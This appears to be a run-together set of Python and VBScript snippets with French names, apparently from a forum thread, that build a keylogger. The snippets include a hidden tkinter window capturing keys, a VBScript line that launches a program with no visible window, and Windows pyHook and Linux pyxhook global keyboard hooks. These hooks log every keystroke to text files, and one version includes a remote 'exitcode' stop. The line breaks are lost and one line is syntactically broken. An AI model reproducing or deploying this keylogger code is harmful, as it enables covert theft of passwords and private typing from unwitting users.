from tkinter import *root = Tk()def fonction(event): print(event) root.bind('a', fonction)root.bind('b', fonction)root.mainloop()input()
import tkinter as tkroot = tk.Tk()root.withdraw()def ecrire(event): print(event.char, end = "")root.bind('a', ecrire)root.bind('b', ecrire)root.bind('c', ecrire)root.bind('d', ecrire)root.bind('e', ecrire)root.bind('f', ecrire)root.bind('g', ecrire)root.bind('h', ecrire)root.bind('i', ecrire)root.bind('j', ecrire)root.bind('k', ecrire)root.bind('l', ecrire)root.bind('m', ecrire)root.bind('n', ecrire)root.bind('o', ecrire)root.bind('p', ecrire)root.bind('q', ecrire)root.bind('r', ecrire)root.bind('s', ecrire)root.bind('t', ecrire)root.bind('u', ecrire)root.bind('v', ecrire)root.bind('w', ecrire)root.bind('x', ecrire)root.bind('y', ecrire)root.bind('z', ecrire)root.bind('0', ecrire)root.bind('1', ecrire)root.bind('2', ecrire)root.bind('3', ecrire)root.bind('4', ecrire)root.bind('5', ecrire)root.bind('6', ecrire)root.bind('7', ecrire)root.bind('8', ecrire)root.bind('9', ecrire)root.bind('<space>', ecrire)root.bind('A', ecrire)root.bind('B', ecrire)root.bind('C', ecrire)root.bind('D', ecrire)root.bind('E', ecrire)root.bind('F', ecrire)root.bind('G', ecrire)root.bind('H', ecrire)root.bind('I', ecrire)root.bind('J', ecrire)root.bind('K', ecrire)root.bind('L', ecrire)root.bind('M', ecrire)root.bind('N', ecrire)root.bind('O', ecrire)root.bind('P', ecrire)root.bind('Q', ecrire)root.bind('R', ecrire)root.bind('S', ecrire)root.bind('T', ecrire)root.bind('U', ecrire)root.bind('V', ecrire)root.bind('W', ecrire)root.bind('X', ecrire)root.bind('Y', ecrire)root.bind('Z', ecrire)root.bind('.', ecrire)root.bind(',', ecrire)root.bind('?', ecrire)root.bind('!', ecrire)root.mainloop()
root = tk.Tk()root.withdraw()
for i in 'tonalphabet': root.bind(i), ecrire)
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
import pythoncom, pyHook, sys, logging, tkinterfile_log='LOG.txt'def onKeyboardEvent(event): logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s') lettre = chr(event.Ascii) logging.log(10,chr(event.Ascii)) fichier = open("LOGA.txt", "a") if event.Ascii != 13: fichier.write(chr(event.Ascii + 32)) else: fichier.write('\n') fichier.close return Truehooks_manager=pyHook.HookManager()hooks_manager.KeyDown=onKeyboardEventhooks_manager.HookKeyboard()pythoncom.PumpMessages()end = int(input())
from win32api import GetKeyStatefrom win32con import VK_CAPITALimport pythoncom, pyHook, sys, logging, tkinterfile_log='LOG.txt'def onKeyboardEvent(event): print(event.Ascii) logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s') lettre = chr(event.Ascii) logging.log(10,chr(event.Ascii)) fichier = open("LOGA.txt", "a") if event.Ascii != 13: if GetKeyState(VK_CAPITAL) == 0: fichier.write(chr(event.Ascii + 32)) else: if event.Ascii >= 97 and event.Ascii <= 122: fichier.write(chr(event.Ascii)) else: fichier.write('\n') fichier.close return Truehooks_manager=pyHook.HookManager()hooks_manager.KeyDown=onKeyboardEventhooks_manager.HookKeyboard()pythoncom.PumpMessages()end = int(input())
import pyxhookimport threadingfrom fonctionEcrire import *class Keylogger(threading.Thread): def __init__(self): threading.Thread.__init__(self) def task(self): # Cette fonction est appellee a chaque fois qu'une touche du clavier est pressee. def kbevent(event): global running Ecrire("donnees", chr(event.Ascii)) # Trouver un emplacement absolu ça peut aider! # Creation hookmanager hookman = pyxhook.HookManager() # Hook le keyboard hookman.KeyDown = kbevent hookman.HookKeyboard() # Start hookman.start() while running: time.sleep(0.1) # Close hookman.cancel() pass
#(... Début du programme)running = TrueTH = Keylogger()Ecrire("donnees", "\n\nDebut de la session d'enregistrement le : "+heure+".\n\n")TH.start()#(... Suite du programme)#Et par exemple pour quitter: if messagerecu == exitcode : running = False # Pour pouvoir quitter le keylogger.